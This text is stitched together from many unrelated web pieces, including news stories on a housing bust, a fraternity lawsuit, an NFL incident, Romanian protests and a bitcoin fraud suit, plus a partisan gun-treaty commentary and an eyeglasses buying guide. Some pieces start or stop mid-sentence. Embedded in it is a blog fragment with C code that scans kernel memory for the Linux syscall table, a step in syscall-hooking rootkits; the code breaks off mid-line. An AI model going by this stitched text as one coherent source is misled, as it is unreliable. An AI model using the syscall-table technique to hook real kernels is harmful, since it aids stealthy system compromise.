Francesca Lane. House flips retirees The Andersons arrived after reading news stories about Happy Valley's charm. The couple lived a comfortable retirement in Clark County's Hazel Dell neighborhood afforded by Social Security and their public employee pensions. Dick, 70, retired after a career teaching at the Washington State School for the Blind. Aloma, 66, stayed home to raise the couple's three children and worked for a while at Clark College in Vancouver. Both came from Minnesota and clung to Midwestern values. "We've never had a negative thing on our credit. We were one of those people with a 770 credit score," Aloma says while rocking in a chair in her living room in Hazel Dell, the clothes dryer humming in the other room. Still, Aloma saw opportunity in Happy Valley's hills. The couple had never bought an investment property. But by 2006, flipping houses had become so common nationwide that TV networks celebrated it with reality shows. Aloma was certain they could buy a home, resell it for a hefty profit and pad their retirement. That's how they ended up on Francesca Lane in winter 2006. The Andersons saw a fleet of construction vans and heard nail guns popping. After talking to a salesman representing Buena Vista, they picked a lot with a yard a family could ramble around. Aloma says the salesman told them the home would be worth as much as $1 million by the time it was finished in the summer. They never hired their own real estate broker. They closed the deal in August 2006 on the four-bedroom, 5,000-square-foot home for $633,865. It was a steal, they figured, at $125 a square foot. "We thought it was a very simple situation. Good value, good ambience," Aloma says. The Andersons bought the home with a no-money-down loan and an 8.5 percent adjustable interest rate from Hyperion Capital Group of Lake Oswego. That added a $5,000 monthly payment on top of the $1,500 for their Hazel Dell home. Within weeks, Aloma put the house on Craigslist for $799,000. She planned to sell it herself and made the 35-minute drive most Saturdays to host open houses. She'd stay for seven hours and usually saw no one, a signal the market boom had wilted. She lowered the price to $749,000. Even after a year, she still had no offer. The Andersons refinanced their Hazel Dell home twice to raise cash for the Happy Valley mortgage. In late 2007, they raided their IRA. Still no offers. By then, the nation's housing market had tumbled as subprime mortgage lenders went belly up. Pollock expected things would get much worse, and he cut his losses. He announced an auction in December 2007 to sell 230 homes, including some on Francesca Lane, at bargain prices. His move drove down home values across the city. "When he did that to us, it killed us," Aloma says. She mailed her last payment in January, and the lender declared the mortgage in default three months later. Staring at a loan far higher than the home's value, the Andersons faced losing the home to the bank. A real estate broker found the Andersons a bargain hunter. The lender approved the sale for $515,000. That's $123,000 less than it had loaned the Andersons 20 months earlier. The Andersons never spent a night in the Happy Valley money pit. But the mortgage, fees and taxes cost them close to $100,000. "We did everything we thought we could," Aloma says. Looking back, seeing differently Pollock's once high-flying company has nearly dissolved. He has reduced his staff from 50 to two and halted new construction. Buena Vista stopped paying its loan and property taxes on the two Francesca Lane lots because Pollock said they were "nonperforming assets." He hopes to sell the lots, but for now the builder owes Clackamas County $12,170 for three years' worth of taxes. More on Francesca Lane •Find out more about Francesca Lane's foreclosures, watch a slide show of Happy Valley photos and see a 2007 Buena Vista Custom Homes' advertisement at Oregonian reporter •Ryan Frank also will host an online chat about this story and all real estate news from noon to 1 p.m. Tuesday at Looking back on the bust, Pollock says the plunging market, not his auction, drove down Happy Valley's values. About the Andersons, he says his sales staff never would have suggested their home would be worth close to $1 million. "Everybody always needs somebody to blame," Pollock says. Pollock's company made millions on Happy Valley's growth. How much? "I don't want to tell you," Pollock says as he steers his black Cadillac Escalade through the town and takes a drag on a Camel Light. "I'll get in trouble." He'll say only that he sold 600 homes or lots in the boom and that he expects to build again in Happy Valley when the market recovers. Pollock spends part of his time now building a resort in Mexico near Cabo San Lucas and still has his 19,000-square-foot Dunthorpe house. But the housing downturn, he says, has taken its toll on him, too. "It's really tough paying the bills. I'm not immune," he says. "Stressed? Yes. Worried? I believe in myself. I know it will work out." With hindsight, Aloma Anderson painfully diagnoses her mistakes. "I saw dollar signs," she says. She says she should have hired her own real estate broker for expert advice. "That was our mistake. My mistake," Aloma says, hanging her head, blinking back tears. The couple would like to sell their Hazel Dell home to move closer to family in the Midwest. But the Clark County market is about as bad as Happy Valley's. Their builder, Pacific Lifestyle Homes, is now bankrupt. The home was appraised for $465,000 last year. Now, she'd take $379,000. After all this mess, the Andersons had to tell their children they can't help out with money any longer. "That's a hard thing to tell them," Aloma says. "We don't have it anymore." Along Francesca Lane, it's difficult to see the imprint left by foreclosures. The street, and most of Happy Valley, remains a tidy, typical bedroom community. But look closer and you see signs. The Francesca Lane homes that fell into foreclosure resold for 80 percent or less of their original purchase prices. Pete Herder, who lives across from two foreclosures, figures his home has lost 15 percent of its value. Down the hillside, half-finished homes line a couple of streets in a more upscale subdivision. "They're just waiting for arson," Herder says. Contractors canvass the hillsides for homes like these. They call on the banks -- now the homeowners -- for fix-up work to seal out the winter rain. Before anyone could block them out, birds took over one vacant house on a bluff nearby and turned it into the city's biggest birdhouse. --Ryan Frank; ;BREAKING: Sigma Phi Epsilon sued after man loses eye This is a developing story. A man has sued Sigma Phi Epsilon and is seeking more than $1 million in damages after a member kicked the man’s eye and “irreparably damaged it” while trying to kick a can off his head, according to the Houston Chronicle. Brenton Griffin’s eye had to be surgically removed after he was invited to attend a party at the Sigma Phi Epsilon house. Once he fell unconscious, one of the members situated him in a sitting position where the intoxicated kicker proceeded to kick a can off the Griffin’s head. The kicker proceeded with his actions while Griffin sat unconscious, according to the report. In addition to the fraternity, Griffin named seven fraternity members in the report, some of whom were officers at the time of the incident on Sept. 19, 2013. [email protected]PITTSBURGH (AP) — Pennsylvania authorities say Oakland Raiders linebacker Ray-Ray Armstrong did not act maliciously when he confronted a police dog just before the start of a Nov. 8 game in Pittsburgh against the Steelers. Investigators had been trying to determine whether the player's conduct constituted taunting of a police dog, a third-degree felony. The sheriff's office has said the player lifted his shirt, beat his chest and barked at the explosive detection dog before telling a deputy to release the animal, which she did not. Pittsburgh news outlets identified the player as Armstrong. He and the Raiders declined comment. The sheriff and prosecutor have agreed the player's behavior was not a malicious act but still created an unnecessary security risk. The dog had to be taken out of service after the incident. The district attorney plans to talk with authorities in California to determine the best response.Hi. In this post I’ll show you how to obtain dynamically the syscall table address. In the last posts (this and this) I wrote codes in which the syscall table address was hardcoded (as suggested by sj). Now I’ll show you how to dinamically obtain it. Searching online you’ll see that there are lot of functions that seek the syscall address between some other variable addresses defined in “/boot/System.map-kerne_version”. Here is an example (by kerneltrap.org): unsigned long find_sys_call_table(void) { unsigned long sctable; unsigned long ptr; extern int loops_per_jiffy; sctable = NULL; for (ptr = (unsigned long)&loops_per_jiffy; ptr < (unsigned long)&boot_cpu_data; ptr += sizeof(void )) { unsigned long p; p = (unsigned long *)ptr; if (p[__NR_close] == (unsigned long) sys_close) { sctable = (
work on the fibre project. The roles are aimed at school leavers who want skills-based training. “We are the only provider with a truly national plan to connect rural communities across Ireland to high-speed broadband,” said Carolan Lennon, managing director of its wholesale division, Open Eir.FREMONT (CBS SF) — An East Bay animal shelter is trying to track down the owner of a colorful stray iguana police found. An officer answered a call and rescued the colorful reptile from the bushes outside an apartment complex in the area of Warm Springs and Warren. “A citizen called in very excited and said I have an animal lizard in my front porch bush area. It’s about 3 feet long and looks like a big dragon lizard,” said Animal Service Officer Ron Nicolls. “When I got there, he was this beautiful blue iguana sitting there just chilling out.” Officer Nicolls snapped a photo of the little guy among the flowers and says it was one of the best he has ever taken. When he turned the iguana in to the Tri-City Animal Shelter, he was blue. “A nice bright blue, very vivid in color, generally those are island iguanas, kind of rare in the States,” he said. Now the stray iguana is is a lovely shade of green, and ready to go home once his owner shows up. The owner, or anyone with information about the owners whereabouts should call the Tri-City Animal Shelter at (510) 790-6640.Kell Brook had his first professional fight in 2004 World champion Kell Brook will defend his IBF welterweight title against mandatory challenger Kevin Bizier in his home city of Sheffield on 26 March. Brook's third defence of the title he won by beating Shawn Porter in California in August 2014 will take place at the Sheffield Arena. Brook, 29, returns after missing a scheduled defence against Diego Chaves in October because of a rib injury. He said: "I've fully recovered from the injury and feel stronger than ever." Canadian fighter Bizier, 31, has lost only twice with 17 of his 25 career wins coming inside the distance. His two defeats were against Romanian Jo Jo Dan, who Brook beat in March 2015 in his first fight since being stabbed in the leg while on holiday in Tenerife.President Obama, who supported the handgun ban in Washington, D.C., before it was tossed by the Supreme Court, since his election has watched various proposals to ban “assault” weapons, require handgun owners to submit to mental health evaluations and sparked a rush on ammunition purchases that caused some retailers to name him their salesman of the year. Now he apparently is going after citzens who reload their ammunition. It was during an official visit earlier this month to Mexico that he affirmed his support for a proposed international treaty that addresses “firearms trafficking.” According to a blogger who follows the issue, the treaty was adopted by President Clinton years ago but never ratified by the U.S. Senate, a goal Obama now has adopted. The answer is finally here to the real reason why guns and church must mix! The writer, B.A. Lawson, says, “If you reload your own ammo you may find yourself engaged in ‘Illicit Manufacturing’ of ammunition under an arms control treaty that President Obama started pushing last week in Mexico.” “Virtually everyone who supports the 2nd Amendment or has an interest in firearms has heard the numerous recent reports of ammunition shortages. The shortages have extended to reloading supplies that many folks rely on to keep their shooting costs down or to assemble exotic or hard to find ammunition. Many shooters have considered reloading their own ammo as insurance against limited supplies should legislation be enacted that would make ammo more scarce or dramatically more expensive,” the blogger continued. “Those thoughts may be in vain if the current administration is successful in getting the ‘INTER-AMERICAN CONVENTION AGAINST THE ILLICIT MANUFACTURING OF AND TRAFFICKING IN FIREARMS, AMMUNITION, EXPLOSIVES, AND OTHER RELATED MATERIALS’ treaty passed.” The treaty defines “illicit manufacturing” as “the manufacture or assembly of firearms, ammunition, explosives, and other related materials.” It then gives authority for that activity only with “a license from a competent governmental authority of the State Party where the manufacture or assembly takes place.” “The section … clearly identifies ammo reloaders that are not licensed by the government as ‘Illicit Manufacturers’ of ammunition. Now that we have reloaders properly labeled, lets move down to Article IV to see what we should do with them,” the commentary said. He then quotes Article IV, which states, “State Parties that have not yet done so shall adopt the necessary legislative or other measures to establish as criminal offenses under their domestic law the illicit manufacturing of and trafficking in firearms, ammunition, explosives, and other related materials.” “This is pretty straightforward. If you reload ammunition without a license after the treaty is signed you will be a criminal,” Lawson wrote. The National Rifle Association said the treaty “does include language suggesting that it is not intended to restrict ‘lawful ownership and use’ of firearms. Despite those words, the NRA knows that anti-gun advocates will still try to use this treaty to attack gun ownership in the U.S.” The treaty is available online. At the SnowflakesinHell blog, the writer said there’s no mistaking the language. Even accessories “which can be attached to a firearm” are targeted. “It would presumably also ban home manufacture of these items without a government license. Do you own trigger jobs? Reload your own ammunition? Not any more, not without a government license!” The Examiner.com said such international gun restrictions are unacceptable. John Velleco, director of federal affairs for Gun Owners of America, notes the benefits for Obama of having such rules in treaties, not legislation. “If ratified and the U.S. is found not to be in compliance with any provisions of the treaty – such as a provision that would outlaw reloading ammunition without a government license – President Obama would be empowered to implement regulations without congressional approval,” he wrote. “If the kind of ‘change’ that Obama wants is for the United States to take its marching orders from third world countries regarding our gun rights, we’re in big trouble!” Special offers: Perfect gift for pistol-packin’ mama – ‘Stayin’ Alive’ shows guns are indeed for girls “Shooting Back: The Right and Duty of Self-Defense”BUCHAREST (Reuters) - Romanian riot police used tear gas against protesters who threw rocks and set fire to newspaper stands and rubbish bins in central Bucharest in a fourth day of street demonstrations against government austerity measures Sunday. Protesters taunt the police during riots downtown in Bucharest, January 15, 2012. REUTERS/Bogdan Cristel Protesters also gathered peacefully in several large cities across Romania, including Cluj, Timisoara and Iasi, calling for the resignation of President Traian Basescu and the centrist government of Prime Minister Emil Boc. The protests began across the country Thursday in support of a deputy health minister who resigned after criticizing a controversial draft healthcare reform bill that would have added private firms to the state health sector. The cabinet withdrew the bill Friday, but that did little to assuage the demonstrators, who returned to the streets to express general discontent with spending cuts and falling living standards. The Bucharest protests Sunday were the most violent seen since the start of the financial crisis. Although the government cut state jobs and wages and raised value added tax in 2010, Romania has largely avoided the kind of violent anti-austerity protests seen elsewhere in Europe. Demonstrators threw rocks at riot police who in turn fired tear gas into the crowd. Several shop windows were broken. Rubbish bins and newspaper stands were torched between the University of Bucharest and Unirii square in the city center. More than 50 people required medical assistance and about 40 demonstrators were detained by police for inciting vandalism, police and emergency medical unit officials were quoted as saying by the Mediafax news agency. Protesters had started gathering in the afternoon, with numbers growing to an estimated 1,000 in the evening. Carrying whistles and Romanian flags, the protesters chanted “Resignation” and held banners that said “We want respect” and “No more corruption.” The government has taken painful but needed measures under a two-year aid deal led by the International Monetary Fund to shore up state finances and stabilize the leu currency. But the measures have been deeply unpopular as Romania’s economy recovers from a two-year recession. The start of the protests Thursday was triggered by the resignation of Deputy Health Minister Raed Arafat, who had criticized the draft healthcare reform bill. “Arafat was only the spark,” said Jean Sandulescu, 63, a railway worker. “But after everything they have done, we want them (the government) to go.” Riot police estimated up to 4,000 Romanians staged protests Saturday in more than 20 cities, although the actual numbers may be higher. Demonstrations were largely peaceful, but in Bucharest some protesters threw stones at riot police who fired tear gas into the crowd Saturday evening. Slideshow (2 Images) Traffic on one of Bucharest’s busiest streets was temporarily blocked and a few dozen people, including three riot police, needed medical attention. “It is unlikely the government will cave in to protests, although they pile more pressure on the ruling Democrat Liberal Party, which is clearly losing even more support,” said political commentator Mircea Marian. “Let’s see what next week will bring, although I don’t think protests can continue for much longer. People have jobs.”A farmer and his son protest against the laying of high-tension wires through their patch of agricultural land near Melavoy in Madakasira mandal in Anantapur. ANANTAPUR: A farmer and his son was injured when they were protesting the laying of high-tension wires through their patch of agricultural land near Melavoy in Madakasira mandal on the Karnataka border on Sunday. The Karnataka State Electricity Board is erecting HT lines between Madhugiri and Pavagada talukas in Tumkur district of that state. The lines pass through Madakasira mandal in Andhra Pradesh. The powerline was to pass through the land belonging to Mr K. Nabirasool, 65, on the outskirts of Melavoy. He was demanding compensation from the KSEB but his plea had been ignored. On Sunday, the contractor began erecting the HT line through the fields, including the one belonging to Mr Nabirasool. Mr Nabirasool and his son Vannor Saheb tried to stop the work and caught hold of the HT wire. However, the workers continued pulling the line to hoist it on the towers. The father-son duo refused to let go, and were hoisted to a height of 30 ft. Both of them fell after a while. Mr Nabirasool suffered serious injuries while Mr Vannor Saheb escaped with minor injuries. Mr Nabirasool was rushed to Hindupur hospital and his condition was said to be serious. Locals gathered there and demanded action against KSEB officials and contractors. MLC Gundumala Thippeswamy said the Karnataka officials had taken up the work without settling compensation for the farmers.One thing you can count on from EVGA is that it's going to offer in the neighborhood of half a dozen different SKUs for any particular model graphics card, sometimes more. That includes EVGA's now 14 different SKUs of the somewhat spunky GeForce GTX 950. The newest of those models don't require a 6-pin power connector. The number of GeForce GTX 950 cards in EVGA's stable ballooned to 14 with the introduction of eight new "low power" models, including four versions that don't need to be plugged into the power supply—they draw enough juice from the PCIe slot. Needing a 6-pin PEG connector is one of the few complaints we had with the GTX 950 when we reviewed it last year. It's still a decent option for 1080p gaming, especially now that EVGA is offering a handful of SKUs that needn't be fed directly from the PSU, which should help with cable management. On the flip side, pulling additional power from the PSU can improve stability and improve overclocking performance, though there's only so much to be gained from the GTX 950. Here's a look at the new models: Most of the new cards are available now with prices starting at $140, save for the 02G-P4-0954 SKU, which is listed as "coming soon" on EVGA's website.An angry group of former customers has sued a collapsed Bitcoin mining company, GAW Miners, in a proposed class-action lawsuit. The group alleges that it was duped by the company and its founders. This is the second civil suit filed against the company within the last six months—it was sued by the Securities and Exchange Commission in December 2015 over similar accusations of fraud. The SEC alleged $19 million worth of fraudulent deals. (That SEC case was put on hold for six months, starting in April 2016, according to court records.) In early 2014, GAW Miners was first introduced to the Bitcoin public by re-selling mining rigs. Later, the company shifted to cloud-based mining (Hashlets), and in early 2015, it introduced its own altcoin, dubbed "Paycoin." GAW also tried its hand at its own cloud-based wallet service (Paybase) and its own online discussion board (HashTalk). For about a year, there has been active speculation amongst the Bitcoin community that GAW may be a scam or at least could be engaged in illegal behavior. There have been threads both on BitcoinTalk and reddit with titles like " GAW Miners - Liars, Frauds - A brief recap of what we know. According to the suit, which was filed last week, GAW founders Joshua Homero Garza and Stuart Fraser (who at the time was a vice president at the investment firm Cantor Fitzgerald) scammed those that paid money, believing they were getting something for that payment. The four named plaintiffs, who seek unspecified damages, hope to represent the approximately 10,000 customers that they say were taken for a ride by Garza and Fraser. As the plaintiffs allege: Defendants’ activities had the hallmarks of a Ponzi scheme. Because defendants sold far more computing power than they owned and dedicated to virtual currency mining (with respect to hosted mining services and Hashlets), they owed investors a return that was larger than any actual return they were making on their limited mining operations. Investors were simply paid back gradually over time, as "returns," the money that they and others had invested in GAW Miners’ products and paid to GAW Miners for purported "maintenance" fees. In January 2015, Garza told Ars that he “started the company because of scammers.” He claimed that he first heard of Bitcoin around a year ago, at which point he tried to buy a hardware mining rig and “spent $100,000 for a product I never got.” He declined to say which company he purchased the rig from. “I'd never had any experience with that—realizing a couple weeks later that these guys didn't care how much money I can afford to lose,” he said. “I got really frustrated and thought we should start a company to try to fix this.” Garza told Ars that GAW made “over $1 million in sales our first month,” adding that within a few months, “we leveled at $60 million to $80 million per year.” At the time, Garza claimed the company had 100,000 customers, with “10,000 to 15,000 new accounts per day.” Neither Garza, nor Fraser, nor Garza’s attorneys have responded to Ars’ request for comment.Heidi Russo has watched her son from the stands, half of her desperately wanting to rise and wave her arms with excitement in hopes that Colin Kaepernick might finally recognize her. She dreams, after all these years, that there might finally be a connection with the young man she once gave up for adoption. "Then the other half of me calms me down and I just sit there and cheer like the rest of the people," said Russo, a 44-year-old registered nurse who lives in a suburb of Denver and went to see Kaepernick play in-person for the first time in 2010 when his University of Nevada team played at Colorado State. "I kept looking at him, thinking our eyes might meet. He might finally see me. I kept thinking it happened, but he never came to see me after the game." Scroll to continue with content Ad For all of Russo's joy in watching Kaepernick, who has made a dramatic rise to starting quarterback of the San Francisco 49ers, there is an obvious sense of regret that he hasn't been a regular part of her life. "I watch him now and I see how happy he is and I'm thrilled for him," said Russo, who said "I have to respect" his decision not to meet. Yet she holds on to hope. "You can see that everything he wants and everything he has worked for is coming together," she said. "That's something that any parent would be happy to see for their child." Story continues Russo has a Twitter account in which her profile notes that she has "a very special place in my heart for Colin Kaepernick." She said Kaepernick, who through his agent declined to be interviewed for this story, has exchanged a few messages with her, but that most of her tweets over the years have gone unreturned. Kaepernick's adoptive parents, Rick and Teresa, have said in the past they are supportive of whatever he wants to do. At the same time, Colin, Rick and Teresa have always been uncomfortable with the term "adoptive" parents. "His parents are truly wonderful people," said Denver Broncos tight end Virgil Green, a teammate and roommate of Kaepernick's at Nevada. "I've been out to dinner with them and you can see the job they did raising him. I think he would view it as almost treasonous to them to meet with his biological mother or father. They did such a great job giving him everything he needed to be successful in life." [More: NFL Week 13 winners/losers \| MVPs \| LVPs \| Photos] Russo admits that Kaepernick might have had a harder time becoming successful if she had kept him. "I know I couldn't have given Colin everything he needed growing up," Russo said. "But I ask myself a lot of the time, 'Would loving him have been enough?' " Russo was single and pregnant with Colin at 18, and a mother by 19. Along the way, she made the difficult decision to give up her first son (she also has an 8-year-old son). There was nothing easy about it. Russo said she initially interviewed three sets of prospective parents who were interested in adopting Colin. None were good enough, least of all the couple that "wanted to put him in the theater and have him play piano," she said. "He wasn't going to be in the theater." Like Kaepernick, Russo was an athlete. She's 6 feet tall and played volleyball, basketball and track in high school. She was strong-willed and independent. Through the first eight months of the pregnancy, Russo had decided to keep him. Then, a family friend who worked for the Lutheran Social Services in Wisconsin introduced her to the Kaepernicks, who Russo said had two children of their own already, but had lost two other children to heart defects. "I knew they were the right people immediately," said Russo, who was living in Milwaukee at the time. "The first thing Teresa did when she met me was give me a hug. They were such giving, wonderful people from the moment I met them." That eased the situation, but didn't immediately solve it. Under Wisconsin law at the time, there is a six-week period between when a child is born and when he/she can officially be adopted. The child is supposed to go into foster care for that period. Russo would have none of that. "I refused to have him in foster care, there was no way. I raised him for the first six weeks," she said. The attachment developed from those six weeks became a difficult bond for her to deal with, starting with the day she gave him up. A day she can barely remember. "I think your mind and your body do things to help you forget truly painful experiences like that," Russo said. "I remember going to the courthouse to sign all the papers, then we went somewhere else for the exchange. It might have been the Lutheran Social Services building, but I really can't remember. All I remember is that we had to be in separate rooms. [The adoption officials] came and got Colin from me and then took him to the Kaepernicks. That's the one thing I wish I had done differently. I wish I had given him directly to the Kaepernicks." Over the next six to seven years, the situation got worse. At the time, the Kaepernicks and Russo's father lived in Fond du Lac, Wis., roughly 65 miles north of Milwaukee. When Russo would visit her father, she'd find herself looking for the Kaepernicks, hoping to see Colin. Russo said Teresa Kaepernick would send letters and pictures, but that came to a halt. "I would find myself waiting and waiting for the letters and the pictures, so much so that I wasn't moving on with my life," Russo said. "I was depressed and anxious." She said there were "many times" that she wanted to go get Colin back from the Kaepernicks. "But that wasn't about doing what was best for him, it was about healing the wound I had. That wouldn't have been the right thing for him," she said. Russo ended communication with the Kaepernicks when Colin was 6 or 7, but resumed her attempts to meet him when Kaepernick got to Nevada. Russo had a friend who went through a similar circumstance and the friend encouraged Russo to contact Kaepernick via the Internet. She found him on MySpace and finally wrote a message to him after roughly six weeks of thinking about what to say. [More: Victorious Chiefs make no effort to hide pain one day after tragic events] It took another six weeks or so to hear back from him. "He had questions about his father and I tried to get answers for him," Russo said. "I found his father and called his house." Russo said she left a message that was never returned. On Aug. 26, she attended the 49ers' preseason game at Denver. She reunited with Rick and Teresa Kaepernick and introduced her younger son to them. "It was like meeting old friends after 25 years," she said. "You couldn't ask for better people than Rick and Teresa, how they have loved him and taken care of him. As a parent, you never think that anyone could love your child as much as you do, but they have." However, she didn't meet Colin. "Until he tells me otherwise, I'll continue supporting him," said Russo, who watches or records every game Kaepernick plays. "It's very emotional for me to watch him, especially [when he played against New Orleans] and you could see how happy he was. I just hope and pray for him." What if he never wants to meet? "Yes, there's always that, but I just stay positive for him," Russo said. "That's what is important. That's what you're supposed to do as a parent." NFL video on Yahoo! Sports: Other popular content on the Yahoo! network: • LeBron James named SI Sportsman of the Year • Lil Wayne helps out Jonas Jerebko's youth basketball camp • Alex Rodriguez's injury reveals fragile state of Yankees' roster • Y! Health: Running may be harmful to your heartStory highlights "I love babies. I hear that baby cry, I like it," Trump said As the baby continued to wail, Trump took back his words Ashburn, Virginia (CNN) Donald Trump, trying to reassure a distressed mother with a crying baby, said Tuesday that he loves hearing babies cry at his rallies and told her not to worry -- only to change his mind just a moment later. "I love babies. I hear that baby cry, I like it," Trump said at a campaign event here as a baby could be heard crying in the audience. "What a baby. What a beautiful baby. Don't worry, don't worry. The mom's running around, like, don't worry about it, you know. It's young and beautiful and healthy and that's what we want." But less than two minutes later, as the baby continued to wail, Trump took back his words. "Actually I was only kidding, you can get the baby out of here," he said to laughs. "I think she really believed me that I love having a baby crying while I'm speaking. That's OK. People don't understand. That's OK." Read MoreWestern Sky Financial, LLC, owes $15 million for an illegal payday lending operation. The Georgia Supreme Court has ruled that a South Dakota company violated Georgia’s ban on payday lenders. The court has ordered Western Sky Financial to pay more than $15 million. That’s the amount prosecutors estimate the company collected from Georgians since the case started. Liz Coyle heads Georgia Watch. It’s a consumer advocacy organization that tipped the attorney general off about Western Sky. “We know what a detrimental effect on Georgians and Georgia families these predatory lenders have, so it’s fortunate that Georgia does have a strong ban on payday lenders and a department of law that enforces that ban,” said Coyle. But she said payday lenders are no longer the main way people are getting ripped off. “Unfortunately the state still has small dollar lending through title pawn loans that trap Georgians in the same cycle of debt as payday lending and end up with rates as high as 300 percent APR,” said Coyle. She said the number of companies that let people take out high-cost loans against their car titles has grown since state lawmakers made payday lending illegal. Her group estimates title loans companies pull in just under $200 million annually in Georgia. Like us on FacebookNo matter how fashionable – or not – we consider ourselves, we all try to avoid wearing the same outfit every day. We regularly change our shirts, our pants, our suits, our jackets, our shoes, our hats, even our belts. But for some reason, despite their obvious aesthetic contribution to our external self-expression, we consider donning glasses less a fashion statement and more like trauma. There are likely two reasons for this bespectacled avoidance. One, we only get a new pair of glasses when we need a stronger prescription, which indicates aging. Two, glasses are expensive, often $500 or more. But would you treat glasses as another fashion accessory if you could buy them for the same price as a pair of shoes? You can, if you buy your new eyewear online. Glasses bought online can be far cheaper than buying them from your optometrist, less than $75 for a complete pair, if you shop carefully and take advantage of sales or promotional discounts. If glasses can be bought online so inexpensively, why are frames – merely thin strips of plastic or metal, if that much, with a couple of tiny hinges – so insanely expensive when bought from an eye doctor or physical eyewear store? This excellent Forbes piece from 2014 describes Luxottica, the company that produces around 80 percent of frames for just about every prominent brand. With this kind of monopoly, Luxottica can control and maintain absurdly high frame prices. Optometrists then have to finance their costly medical practices – office space rental, medical equipment, personnel – which adds to frame and lens prices. Online glasses vendors avoid these high markups and so can offer complete glasses for geometrically less than an optometrist or other physical eyewear store. Buying Glasses Online Drawbacks As with clothes, there are two drawbacks to buying glasses online: look and fit in the real world. While many eyewear sites let you virtually preview how your prospective frames will look when perched on your proboscis, the process is aesthetically imprecise. In other words, the reality often fails to match the virtual. Even if you’re satisfied with how your online-purchased glasses look in reality, the preview can't predict how your specs will actually fit. Even using precise measurements, which we’ll get to in a second, your new virtually-bought glasses can turn out to be uncomfortably tight, annoyingly loose or simply ill-fitting, regardless of the stated measurements. Understanding this aesthetic and fit impreciseness, all online eyewear sites include liberal, no-questions-asked, we-pay-for-shipping return policies, usually 30 days. Also, a couple of sites have corresponding partnerships with brick-and-mortar eyeglass shops for real-world adjustments. Warby Parker runs both physical and online stores, for instance, and glasses.com has a post-fitting/adjustment deal with LensCrafters. How Buying Glasses Online Works First and foremost, you’ll need your prescription. If you haven’t had your eyes checked in a while I’d recommend doing so, then ask the optometrist for your prescription. All eyeglass shopping begins with picking out frames for either men, women or children. You can choose from: material – plastic/acetate, metal, rimless and mixed; shape – square, rectangular, round, oval and other variations; and, color. Sunglass frames often are listed as a separate category, and some sites let you further narrow your frame search by price range or frame brand. I haven’t run across a site that lets you delineate between standard one-way temple hinges and more flexible double-hinges, but look for this handy attribute listed in the frame description. Before you pick a frame, you need to know your eyeglass size – small, medium, large, extra-large, sometimes petite, narrow or wide, depending on the site. In addition, all frame listings include lens height, lens width, temple (the hinged stems that sit on your ears) and bridge measurements (the nose piece), all expressed in millimeters. Your current specs may have their size embossed inside the left temple – lens width, a square, then bridge width and temple length. If not, measuring your current glasses will give you an idea of the measurements you need. Confusing and Costly Lens Choices Then there are the lenses. You’ll be asked to choose your prescription type: standard prescription, bi/multi-focal and progressive (no-line bifocal). Reading glasses and contact lenses are sometimes also offered. Since bi-focal and progressive lenses require a greater lens height, some fashionably narrow frames may not work, although sites often don't warn you in advance of this pre-requisite. Once you pick your frame, you’ll need to pick the type of lens. If your prescription is minor, you can opt for standard lenses. But if you’re blind as a bat, you’ll want thinner polycarbonate lenses. Thinner lenses are counter-intuitively labeled with higher numbers; for instance, 1.50 index lenses are thicker than 1.74 lenses. These numbers refer not to density but to their refraction index – “how much the lens bends the light that enters it,” according to this excellent, if overly technical, explanation from Zenni Optical. Each vendor offers a variety of lens index choices, coatings and treatments such as UV, anti-scratch, anti-reflective and transitional – glasses that turn into sunglasses when exposed to sunlight. Not only can these indexes, coatings and treatments be confusing – Zenni lists 31 different options ranging from $27.95 to $195 – but their costs can quickly pile up. Fortunately, most sites recommend what lenses are best based on your prescription, which you input online during the ordering process. Once ordered, you’ll likely get your glasses within 2-3 weeks, complete with a hard shell case and a wipe cloth. Eyeglass Site Reviews You’ll want to browse online eyeglass sites to get a sense of pricing and available frame styles. I bought glasses online from each of these five sites: The Basics: Its name is not false advertising – the bulk of the non-branded frames on this “doctor-owned” site are just $39 and range only as high as $89. Best of all, this is the only site I found that lets you “re-lens” – fit your old frames with new lenses, at no extra cost. Pros: · Hundreds of sub-$50 frames · Buy new lenses for your own old frames · Simplified lens selection · Virtual try-on · Blue anti-glare coating option Cons: · Slightly pricier multi-lens and coatings options · No insurance Bottom Line: As long as you don't need bifocal or progressive lens, you’ll easily be able to buy a complete set of glasses for less than $50. While its low-price frames are great, 39dollarframes’ unique re-lens option is the best reason to buy glasses here. The Basics: Glasses.com lets you create a 180-degree 3D model of your face so you can virtual turn the preview image to see your bespectacled face from different angles. Pros: · Best representative 180-degree virtual try-on · Stylish frames from premium brands including Armani Exchange, Coach, Oakley, Michael Kors and Ray-Ban · Insurance information link on front page Cons: · Expensive frames from chichi brands including Armani Exchange, Coach, Oakley, Michael Kors and Ray-Ban (hey, one man's ceiling…) · No frames less than $79 · Virtual try-on not available for all frames Bottom Line: Shopping at glasses.com feels the closest to shopping at a virtual a LensCrafters or Pearl Vision, thanks to its sleek site, frames from a wide variety of well-known brands, its more realistic 180-degree virtual try-on – and it’s slightly higher pricing. The Basics: As soon as you virtually enter glassesUSA.com, you’re smacked with multiple discount offers, and you’ll be bombarded with sale promotions throughout and even after your purchase. Once you maneuver past the multitude of special deals, you’ll find a wide selection of brand name and no-name frames at a wide variety of prices. Pros: · Wide variety of frames styles and pricing, both name brand and generic, at a wide variety of prices · Premium frames are clearly labeled · Unending discounts and sales · Order includes wallet prescription card · Grays out frames considered inappropriate for bi-focal or progressive lenses Cons: · Limited sub-$50 selection, no sub-$20 frames · A new promotional email nearly every day · Static virtual try-on (straight-on view only) · Have to search for insurance information Bottom Line: glassesUSA.com offers the widest variety and value in nearly every aspect of eyewear buying, but only a few dozen frames for less than $50, none for less than $20 – although, with numerous available discounts, you can easily finagle a complete pair for less than $100. Just be prepared for an onslaught of while-shopping and nearly daily after-purchase promotional emails. The Basics: While not the cheapest online vendor, Warby Parker avoids name frame brands and instead offers its own unique and fashionable designs. This fashionable outlet operates around 60 physical retail locations (at which service is fabulous) along with its online presence. Instead of a virtual try-on preview, you can get up to five frames sent to you for home try-on, and the company pays for shipping both ways. Pros: · Free at-home try-on · Complete single vision glasses start at $95 · Fashionable, inexpensive frames designed in-house · Retail locations for adjustments, returns · Simple lens selection Cons: · No virtual try-on preview · Not all frames available for home try-on · No price range filter · Progressive lenses adds $200 to price Bottom Line: At-home try-on ensures post-purchase satisfaction, but it adds time to the buying process and it lacks the instant gratification that virtual try-on provides. Considering its creative lens styles, I’d recommend WP for fashionistas, and for those who also have access to a physical store to get the best of both real and virtual worlds. For an extra $200, I don't recommend Warby Parker if you wear progressives. Basics: Zenni makes its own frames. By cutting out the monopolistic middle man, it can offer the lowest glasses prices online, including hundreds of sub-$20 choices for men (but, 